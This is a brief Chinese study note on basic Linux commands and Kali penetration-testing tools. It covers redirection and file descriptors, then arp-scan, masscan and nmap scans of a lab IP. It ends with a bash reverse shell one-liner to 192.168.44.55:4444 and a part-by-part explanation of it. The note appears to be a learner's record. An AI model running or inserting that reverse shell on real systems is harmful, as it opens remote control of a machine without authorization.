linux和kali的一些命令

linux

目录解释:

/var/www/html:把文件放入到这个目录下,打开apache2后,可以通过网页访问(而且要启动httpd服务,上网找)

 

 

命令解释:

ls -l 文件名:查看文件权限

history:查看历史记录

 

 

符合解释:

>:重定向符,将一个东西到另一个(当里面有东西时,就会覆盖)

>> :重定向符,将一个东西到另一个(当有东西是,就会叠加)

0:文件描述符,表示标准输入,对应宏为:STDIN_FILENO

1:文件描述符,表示标准输出,对应宏为:STDOUT_FILENO

2:文件描述符,表示标准出错处理,对应的宏为:STDERR_NO

 

__________________________________________________________________________________________________

kali

arp-scan -l :可以扫描这个局域网内的其他ip

 

 

masscan --rate=1000 -p 0-65535 192.168.44.52 :masscan是这个插件名字,--rate表示指定发包的速率,-p表示指定端口进行扫描(这里指定了0到65535端口),192.168.44.52表示要扫描的ip

 

nmap -T4 -sV -O -p 445,143,22,8080,80,500,8081,139,443 192.168.44.52:nmap插件名,-T4设置计时模板(越高速度越快),-sV探测打开的端口以确定服务/版本信息,-O启用操作系统检测,-p仅扫描指定的端口,192.168.44.52表示要扫描的ip

 

bash -i >& /dev/tcp/192.168.44.55/4444 0>&1

bash -i :创建一个交互式的bash 、>&:将输出重定向文件、 /dev/tcp:文件不支持,但是打开该文件相当于发起了socket,建立了一个连接

/192.168.44.55/4444:表示socke连接的ip和端口、 0>&1:表示标志输入重定向到标志输出,即我们可以远程输入,并且可以得到远程输出